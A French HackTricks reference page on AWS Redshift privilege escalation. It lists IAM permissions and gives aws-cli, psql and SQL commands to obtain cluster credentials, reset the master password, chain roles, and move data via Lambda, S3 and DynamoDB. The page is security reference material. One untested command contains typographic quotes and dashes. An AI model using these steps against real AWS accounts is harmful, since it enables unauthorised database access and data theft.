AWS - Redshift Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Redshift

Pour plus d'informations sur RDS, consultez :

pageAWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Avec ces autorisations, vous pouvez obtenir des informations sur tous les clusters (y compris le nom et le nom d'utilisateur du cluster) et obtenir des informations d'identification pour y accéder :

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Impact potentiel : Trouver des informations sensibles à l'intérieur des bases de données.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Avec ces autorisations, vous pouvez obtenir des informations sur tous les clusters et obtenir des identifiants pour y accéder. Notez que l'utilisateur postgres aura les autorisations que l'identité IAM utilisée pour obtenir les identifiants possède.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impact potentiel : Trouver des informations sensibles à l'intérieur des bases de données.

redshift:DescribeClusters, redshift:ModifyCluster?

Il est possible de modifier le mot de passe principal de l'utilisateur postgres interne (redshift) depuis aws cli (Je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) :

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impact potentiel : Trouver des informations sensibles à l'intérieur des bases de données.

Accès aux services externes

Pour accéder à toutes les ressources suivantes, vous devrez spécifier le rôle à utiliser. Un cluster Redshift peut avoir assigné une liste de rôles AWS que vous pouvez utiliser si vous connaissez l'ARN ou vous pouvez simplement définir "default" pour utiliser celui assigné par défaut.

De plus, comme expliqué ici, Redshift permet également de concaténer des rôles (tant que le premier peut assumer le second) pour obtenir un accès supplémentaire en les séparant simplement par une virgule : iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Comme expliqué dans https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, il est possible de appeler une fonction lambda depuis Redshift avec quelque chose comme :

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Comme expliqué dans https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, il est possible de lire et écrire dans des buckets S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Comme expliqué dans https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, il est possible de obtenir des données depuis dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

La table Amazon DynamoDB qui fournit les données doit être créée dans la même région AWS que votre cluster, sauf si vous utilisez l'option REGION pour spécifier la région AWS dans laquelle se trouve la table Amazon DynamoDB.

EMR

Consultez https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour